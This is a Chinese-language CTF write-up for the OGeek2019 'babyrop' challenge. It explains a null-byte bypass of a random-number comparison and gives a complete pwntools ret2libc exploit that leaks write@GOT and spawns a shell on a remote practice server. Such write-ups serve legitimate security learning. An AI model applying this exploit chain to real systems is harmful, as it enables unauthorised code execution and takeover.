[OGeek2019]babyrop
PIE都没开,看下程序逻辑
先是一个
open(/dev/urandom)
查了一下,/dev/random和/dev/urandom是Linux系统中提供的随机伪设备,这两个设备的任务,是提供永不为空的随机字节数据流。也就是说,程序首先生成一个随机数,然后会把用户的输入和这个数进行一个比较,这里最开始一直不知道怎么才能绕过这个比较,然后搜了一下,很简单的一个处理方式,直接
\x00
,这样读进去的东西长度相当于空,比较的长度就是0,那么这个判断就会永远为真。
然后在第二个程序中,这里会再次让输入一串东西(含七个元素的数组),程序会处理这个buf,最后返回的值实际就是输入的东西覆盖的地方的值(可以用ida看到返回的值和buf起始位置的相对位置)
然后这个值会在这个程序里起作用,就能得到很大的写入空间,然后后面正常地覆盖地址往后写rop就可以了。
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
sh=process("./pwn")
sh=remote('node3.buuoj.cn',29973)
libc=ELF("./libc-2.23.so")
# libc=ELF("/lib32/libc.so.6")
elf=ELF("./pwn")
libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_binsh=next(libc.search('/bin/sh'))
write_ply=elf.plt['write']
write_got=elf.got['write']
main_add=0x08048825
pop1_ret=0x080488fb
pop3_ret=0x080488f9
payload = "\x00"+"\xff"*7
sh.sendline(payload)
sh.recvuntil("Correct\n")
p2='A'*(0xE7)+'AAAA'+p32(write_ply)+p32(main_add)+p32(1)+p32(write_got)+p32(4)
sh.sendline(p2)
write_real_add=u32(sh.recv()[0:4])
libcbase=write_real_add-libc_write
system_real_add=libc_system+libcbase
binsh_real_add=libc_binsh +libcbase
p3='a'*0xe7+'bbbb'+p32(system_real_add)+'bbbb'+p32(binsh_real_add)
payload = "\x00"+"\xff"*7
sh.sendline(payload)
sh.recvuntil("Correct\n")
sh.sendline(p3)
sh.interactive()
话说看见程序中有puts能用但是不知道为啥用puts会出问题
emmmmmmmmmmmmm之后再试试